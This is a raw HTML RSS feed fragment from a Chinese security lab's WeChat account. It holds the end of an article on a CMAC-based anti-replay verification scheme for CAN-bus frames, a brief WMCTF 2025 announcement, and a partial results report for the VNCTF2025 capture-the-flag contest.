normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">a.</span></strong><span leaf=""> </span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">Input_calc = s.ID (2B) || s.DATA (8B) || ctr_recv (1B) || Time_Stamp_recv (1B) //拼接输入</span></code><span leaf=""> </span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">b.</span></strong><span leaf=""> </span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">Full_Tag_calc = CMAC(key, Input_calc) //计算CMAC</span></code></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">c.</span></strong><span leaf=""> </span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">Tag16_calc = Truncate(Full_Tag_calc, 16) //取前两个字节</span></code></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">4.比较 </span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">Tag16_calc (0x0102)</span></code><span leaf=""> 和 </span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">Tag16_recv (0x0102)</span></code><span leaf="">，通过则下一步，不通过丢弃</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">5.检查时间片：比较</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">Time_Stamp_recv</span></code><span leaf="">和接收端自己的</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">My_Time_Stamp</span></code><span leaf="">，通过则下一步，不通过丢弃</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">6.检查计数器：接收端预期下一个计数器是 </span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">0x0B</span></code><span leaf="">，收到的</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">ctr_recv</span></code><span leaf="">是</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">0x0B</span></code><span leaf="">，通过则执行动作，不通过丢弃</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">7.更新 </span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">last_valid_ctr = ctr_recv</span></code></p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;padding: 0px;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">接收示例流程图</span></h3><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span leaf="">flowchart <span class="code-snippet__selector-tag">TD</span></span></code><br/><code><span leaf="">    <span class="code-snippet__selector-tag">A</span><span class="code-snippet__selector-attr">[收到业务帧s]</span> --&gt; <span class="code-snippet__selector-tag">B</span>{受保护帧?}</span></code><br/><code><span leaf="">    <span class="code-snippet__selector-tag">B</span> -- 否 --&gt; C<span class="code-snippet__selector-attr">[提交应用层]</span></span></code><br/><code><span leaf="">    <span class="code-snippet__selector-tag">B</span> -- 是 --&gt; D<span class="code-snippet__selector-attr">[缓存数据并启动定时器]</span></span></code><br/><code><span leaf="">    D --&gt; E{收到影子认证帧?}</span></code><br/><code><span leaf="">    E -- 超时 --&gt; F<span class="code-snippet__selector-attr">[丢弃帧s]</span></span></code><br/><code><span leaf="">    E -- 收到 --&gt; G<span class="code-snippet__selector-attr">[提取ctr_recv, Tag16_recv, Time_Stamp_recv]</span></span></code><br/><code><span leaf="">    G --&gt; H<span class="code-snippet__selector-attr">[计算Tag16_calc]</span></span></code><br/><code><span leaf="">    H --&gt; <span class="code-snippet__selector-tag">I</span>{标签验证?}</span></code><br/><code><span leaf="">    <span class="code-snippet__selector-tag">I</span> -- 失败 --&gt; J<span class="code-snippet__selector-attr">[认证失败→丢弃]</span></span></code><br/><code><span leaf="">    <span class="code-snippet__selector-tag">I</span> -- 成功 --&gt; K{时间片有效?}</span></code><br/><code><span leaf="">    K -- 无效 --&gt; L<span class="code-snippet__selector-attr">[时间片无效→丢弃]</span></span></code><br/><code><span leaf="">    K -- 有效 --&gt; M{计数器有效?}</span></code><br/><code><span leaf="">    M -- 无效 --&gt; N<span class="code-snippet__selector-attr">[计数器无效→丢弃]</span></span></code><br/><code><span leaf="">    M -- 有效 --&gt; O<span class="code-snippet__selector-attr">[验证成功]</span></span></code><br/><code><span leaf="">    O --&gt; <span class="code-snippet__selector-tag">P</span><span class="code-snippet__selector-attr">[提交应用层]</span></span></code><br/><code><span leaf="">    O --&gt; <span class="code-snippet__selector-tag">Q</span><span class="code-snippet__selector-attr">[更新last_valid_ctr]</span></span></code><br/><code><span leaf="">    F --&gt; R<span class="code-snippet__selector-attr">[清理缓存]</span></span></code><br/><code><span leaf="">    J --&gt; R</span></code><br/><code><span leaf="">    L --&gt; R</span></code><br/><code><span leaf="">    N --&gt; R</span></code><br/><code><span leaf="">    <span class="code-snippet__selector-tag">P</span> --&gt; R</span></code><br/><code><span leaf="">    <span class="code-snippet__selector-tag">Q</span> --&gt; R</span></code><br/><code><span leaf="">    subgraph 示例数据</span></code><br/><code><span leaf="">        S<span class="code-snippet__selector-attr">[业务帧: ID=0x100, Data=0100000000000000]</span></span></code><br/><code><span leaf="">        T<span class="code-snippet__selector-attr">[影子认证帧: ID=0x200, Data=0B010203AAAAAAAA]</span></span></code><br/><code><span leaf="">        U<span class="code-snippet__selector-attr">[提取: ctr=0x0B, Time_Stamp=0x03]</span></span></code><br/><code><span leaf="">    end</span></code><br/></pre></p><wiz-editor-doc data-source="wiz-editor-doc::eyJibG9ja3MiOlt7ImlkIjoiX0lKYWlBdXMwIiwidHlwZSI6ImVtYmVkIiwiZW1iZWRUeXBlIjoiaW1hZ2UiLCJlbWJlZERhdGEiOnsic3JjIjoid3k2THZkeER5bW80VEl5TEoxWHYyUGdlbGRvcGpqWHozZmtYOVR2eG42by5wbmciLCIwNGEyMmI2ZjQyZDQxMTY4MWE4NjM5YmY0OGUxMWFmY19jb21tZW50cyI6W119LCJhbGlnbiI6ImNlbnRlciJ9XSwiY29tbWVudHMiOnt9LCJtZXRhIjp7ImFwcElkIjoiMzJiNDFlZTAtN2Q5Zi0xMWVjLWJhNmMtMjFkOTY5NTJkNDQ2IiwiZG9jSWQiOiJjOGM3NDcyYi00ZWQxLTQ2NzYtYmQyMy1jNDdjODJiMTM4NGUiLCJ0aXRsZSI6IuWfuuS6juWinuWKoOW4p-eahOaWueW8j-WcqOagh-WHhkNBTuS4iuWunueOsOmYsumHjeaUvueahOaWueahiCIsImZpcnN0QmxvY2tJZCI6Il9JSmFpQXVzMCIsImFwaVNlcnZlciI6Imh0dHBzOi8vdmlwa3NodHRwczEud2l6LmNuL2VkaXRvci8zMmI0MWVlMC03ZDlmLTExZWMtYmE2Yy0yMWQ5Njk1MmQ0NDYvYzhjNzQ3MmItNGVkMS00Njc2LWJkMjMtYzQ3YzgyYjEzODRlIiwidG9rZW4iOiJXLjdLRUt3a21Cb0k0MzBEc29SSVgwZW9oRWpTV3AxZXJDdTNJektMVnNId3g3c3RVUnNPUm1jNTJ2d0dnOTJrQSJ9fQ::wiz-editor-doc" data-pm-slice="0 0 []"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100031552" data-ratio="1.125925925925926" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=29ee9b89&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvY9CIZX9cNok7Ric0mIy8cEjIPZAeh5QfCwwhXh22tjn8w5XKvtXVnsqvhpia9fhdmFxfFIszdsUSw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></wiz-editor-doc><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-size: 22.4px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">总结</span></h2><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">本方案结合了之前的项目，有成功落地的案例，并在此基础上做了优化，后面可以根据自身情况更改、删减一些做不到的或根据自身条件增加更多的验证</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">最后，别感冒</span></p><wiz-editor-doc data-source="wiz-editor-doc::eyJibG9ja3MiOlt7ImlkIjoiX29xeVExczkzIiwidHlwZSI6ImVtYmVkIiwiZW1iZWRUeXBlIjoiaW1hZ2UiLCJlbWJlZERhdGEiOnsic3JjIjoiUDRpRlExbXFDblNHWmZqaGJIR0x5Qk1xcVZVM3VwbEkwZGJNUzU4Rmd6Zy5wbmciLCIwMDhlZWVkMTUzYjZlY2IxM2I2YTg4YWJmMDhlMWE3MV9jb21tZW50cyI6W119LCJhbGlnbiI6ImNlbnRlciJ9XSwiY29tbWVudHMiOnt9LCJtZXRhIjp7ImFwcElkIjoiMzJiNDFlZTAtN2Q5Zi0xMWVjLWJhNmMtMjFkOTY5NTJkNDQ2IiwiZG9jSWQiOiJjOGM3NDcyYi00ZWQxLTQ2NzYtYmQyMy1jNDdjODJiMTM4NGUiLCJ0aXRsZSI6IuWfuuS6juWinuWKoOW4p-eahOaWueW8j-WcqOagh-WHhkNBTuS4iuWunueOsOmYsumHjeaUvueahOaWueahiCIsImZpcnN0QmxvY2tJZCI6Il9vcXlRMXM5MyIsImFwaVNlcnZlciI6Imh0dHBzOi8vdmlwa3NodHRwczEud2l6LmNuL2VkaXRvci8zMmI0MWVlMC03ZDlmLTExZWMtYmE2Yy0yMWQ5Njk1MmQ0NDYvYzhjNzQ3MmItNGVkMS00Njc2LWJkMjMtYzQ3YzgyYjEzODRlIiwidG9rZW4iOiJXLjdLRUt3a21Cb0k0MzBEc29SSVgwZW9oRWpTV3AxZXJDdTNJektMVnNId3g3c3RVUnNPUm1jNTJ2d0dnOTJrQSJ9fQ::wiz-editor-doc" data-pm-slice="0 0 []"><span leaf=""><img class="rich_pages wxw-img" data-backh="569" data-backw="523" data-imgfileid="100031553" data-ratio="1.0879541108986617" style="width:100%;" data-type="png" data-w="523" src="https://wechat2rss.xlab.app/img-proxy/?k=4f3e63fa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvY9CIZX9cNok7Ric0mIy8cEmQNR3yTNx0CnWlJrgXOEd3UsvZNavBZ3TRMI3ROFWEqCYOnMkoZ8ug%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></wiz-editor-doc><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="白帽100安全攻防实验室" data-alias="whitecap100_team" data-from="0" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/aFJv52grsibtyuHs5s5D92P4R4dMMKLFKKxoJxSZib8LicZ0rbPGiaOOQTK84h7N93JRkpQAKOcHkmMrS22RO2QkMw/0?wx_fmt=png" data-signature="分享技术文章，做点我们能做的事   官网：www.whitecap100.org  DC0571：defcon.whitecap100.org   白帽100团队" data-id="MzIxMDYyNTk3Nw==" data-is_biz_ban="0" data-service_type="1" data-verify_status="0"></mp-common-profile></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100002088" data-ratio="0.28828125" data-s="300,640" type="block" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=7c89bb42&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibtxsRYLCF9T0TS74iaL70g7e0NDX7pGnzdDpuI3YHSwwZnYDJ0xxeYOSdZlbWXQ86ibF54TSgfN5VKg%2F640%3Fwx_fmt%3Dpng"/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247515206">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=8b2447a8&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDYyNTk3Nw%3D%3D%26mid%3D2247515206%26idx%3D1%26sn%3Db376a0c51a1bbb5eb4643b3b033fb9e5">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 05 Sep 2025 14:15:00 +0800</pubDate>
    </item>
    <item>
      <title>遇见 WMCTF 2025</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDYyNTk3Nw==&amp;mid=2247515195&amp;idx=1&amp;sn=68e61979f730c2e3d80a5ccb33a92775</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2025-09-02 09:30</span> <span style="display: inline-block;">浙江</span>
</p>




<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=c0752ec1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaFJv52grsibs4LVlwT1XkHPtL9xZEueWQD84ShpicBguFstuswA10bZbO5BOIdWbdQ7icialB5icWFibKAPGiaiajV38iaw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div id="js_image_content" class="image_content "><h1 class="rich_media_title ">遇见 WMCTF 2025</h1> <!----> <div id="js_shoptag_area" class="wx_shoptag_area "></div> <div id="js_shopprofile_area" class="wx_shopprofile_area "></div> <!---->   <div id="js_article_area" class="wx_live_area "></div> <!----> <!----> <!----> <!----> <!----> <!----> <!----> <!----> <!----> <div class="rich_media_tool "><div class="rich_media_info weui-flex policy_tips js_ad_policy_tips tips_global_primary claim_source_block "><!----> <!----></div></div> <div id="js_end_poi_area" class="end_poi_area "></div> <div id="js_publish_source" class="publish_source "></div> </div>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4cc56346&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaFJv52grsibs4LVlwT1XkHPtL9xZEueWQfgTTPGzFd2usO5YMib1EHuicTspxyJGbTmsP1313Q7b4Eicc7Yy27IvBg%2F0%3Fwx_fmt%3Djpeg"/></p>




<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=726f84cb&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDYyNTk3Nw%3D%3D%26mid%3D2247515195%26idx%3D1%26sn%3D68e61979f730c2e3d80a5ccb33a92775">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 02 Sep 2025 09:30:00 +0800</pubDate>
    </item>
    <item>
      <title>VNCTF2025 圆满落幕！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDYyNTk3Nw==&amp;mid=2247515179&amp;idx=1&amp;sn=12c8280f6aa045fed75cc9132804ba8a</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span>V&amp;amp;N</span> <span>2025-02-12 15:00</span> <span style="display: inline-block;">浙江</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=2ca1f878&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaFJv52grsibuBOtW5sMS7mVqcu99KQrwtTic92a9oVNtX5tQBsgfaSNEeA5frqdZibHYAeYR0WMeiaVLzFGXnMOHUw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="markdown编辑器" data-website="https://markdown.com.cn/editor" style="font-size: 16px;padding: 25px 30px;word-break: break-word;margin-top: -10px;line-height: 1.25;color: rgb(43, 43, 43);font-family: Optima-Regular, Optima, PingFangTC-Light, PingFangSC-light, PingFangTC-light;letter-spacing: 2px;background-image: linear-gradient(90deg, rgba(50, 0, 0, 0.04) 3%, rgba(0, 0, 0, 0) 3%), linear-gradient(360deg, rgba(50, 0, 0, 0.04) 3%, rgba(0, 0, 0, 0) 3%);background-size: 20px 20px;background-position: center center;"><p data-tool="markdown.com.cn编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">2025年2月9日 10:00，VNCTF2025 顺利落幕。赛事吸引了近1000名选手参与。</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100031525" data-ratio="0.42777777777777776" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=7ff002c5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibuBOtW5sMS7mVqcu99KQrwtFJwiagicQRV2wY6Ccwber9YwI9ibHbP3mJwibeYg9FaAHnhhdz94QicD2kg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="markdown.com.cn编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">V&amp;N战队从难度适中，层层递进的理念出发，以队员们学到的有趣好玩的知识点出题，目的则是让大家在解题过程中学到知识，收获乐趣。</p><h2 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 22px;border-bottom: 4px solid rgb(64, 184, 250);"><span style="display: flex;width: 20px;height: 20px;background-size: 20px 20px;background-image: none;margin-bottom: -22px;" data-remoteid="c1739340577801" data-cacheurl="https://imgkr.cn-bj.ufileos.com/15fdfb3c-b350-4da9-928e-5f8c506ec325.png"></span><span style="display: flex;color: #40B8FA;font-size: 20px;margin-left: 25px;">详细战报</span><span style="display: flex;width: 200px;height: 10px;border-top-left-radius: 20px;background: rgba(64, 184, 250, 0.5);color: rgb(255, 255, 255);font-size: 16px;letter-spacing: 0.544px;justify-content: flex-end;float: right;margin-top: -10px;"></span></h2><p data-tool="markdown.com.cn编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">2月8日 10:00，比赛正式开始。1小时内，LamentXU、fu11p7r、Retr_0相继斩获不同赛题的一血。</p><p data-tool="markdown.com.cn编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">14点，赛事进入白热化阶段，各方向的难题相继被攻克。</p><p data-tool="markdown.com.cn编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">17点，fu11p7r AK Reverse 方向所有题目，一马当先，成为全场首位AK单方向赛题的选手。23点，Aqua Cat也紧随其后，AK Crypto 方向所有题目。</p><p data-tool="markdown.com.cn编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">2月9号凌晨1-4点时间段，仍有选手“熬夜上分”，可见大家都全身心投入到这场大赛中，为了最后的胜利，正在努力拼搏。</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100031526" data-ratio="0.512962962962963" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=254d24ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibuBOtW5sMS7mVqcu99KQrwtUZT9bRxIsjPLkEv69kL47MvickgKJf6GPMZ92iaMPDXgEvq8yMGsUibiaw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="markdown.com.cn编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">最终<strong style="font-family: Optima-Regular, Optima, PingFangTC-Light, PingFangSC-light, PingFangTC-light;font-size: 14px;letter-spacing: 2px;word-spacing: 2px;color: rgb(53, 148, 247);">「Aqua Cat」</strong><span style="color: rgb(43, 43, 43);font-family: Optima-Regular, Optima, PingFangTC-Light, PingFangSC-light, PingFangTC-light;font-size: 14px;letter-spacing: 2px;word-spacing: 2px;">以</span>手中Misc和Crypto方向各2个一血、总分8191获得冠军，同时该选手也是全场唯一解出Crypto - sh1kaku_fw赛题的选手；<strong style="color: rgb(53, 148, 247);">「R3gr3t」</strong>则专精Pwn方向，以该方向1个一血、3个二血、总分6575获得亚军；<strong style="color: rgb(53, 148, 247);">「dumi」</strong>在Web Pwn Crypto方向均有解出，以总分5367获得季军。</p><p data-tool="markdown.com.cn编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">同时也恭喜其他获奖的师傅！奖品将于最近发出，如果已在联合战队的师傅，奖金将顺延至下一位~</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100031527" data-ratio="0.40185185185185185" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=44ca0c6c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibuBOtW5sMS7mVqcu99KQrwtjFsETarYqRUU9rNqMUgRIes2ib3NmrdZDb3BhR9Eicd2kCicZScO1XSQA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100031528" data-ratio="0.4740740740740741" data-s="300,640" style="" data-type="png" data-w="1080" 